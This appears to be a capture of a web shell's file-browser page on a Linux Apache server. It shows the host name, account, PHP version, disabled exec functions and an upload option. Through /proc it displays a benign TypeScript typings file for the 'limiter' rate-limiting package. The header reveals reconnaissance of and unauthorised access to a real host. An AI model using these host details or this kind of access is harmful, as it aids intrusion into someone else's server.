HEX
Server: Apache
System: Linux srv4.garantili.com.tr 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: yenicep (1023)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/thread-self/root/home2/yenicep/garantili-kasko/node_modules/limiter/index.d.ts
export type TokenBucketError = string
export type Fail<T> = (error: T) => void
export type Success<T> = (error: null, data: T) => void
export type RemoveTokensCallback = Fail<TokenBucketError> | Success<number>

type Interval = number | 'second' | 'sec' | 'minute' | 'min' | 'hour' | 'hr' | 'day'

export declare class TokenBucket {
  constructor(bucketSize: number, tokensPerInterval: number, interval: Interval, parentBucket?: TokenBucket)

  removeTokens(count: number, callback: RemoveTokensCallback): void
  tryRemoveTokens(count: number): boolean
  drip(): boolean
}

export declare class RateLimiter {
  constructor(tokensPerInterval: number, interval: Interval, fireImmediately?: boolean)

  removeTokens(count: number, callback: RemoveTokensCallback): void
  tryRemoveTokens(count: number): boolean
  getTokensRemaining(): number
}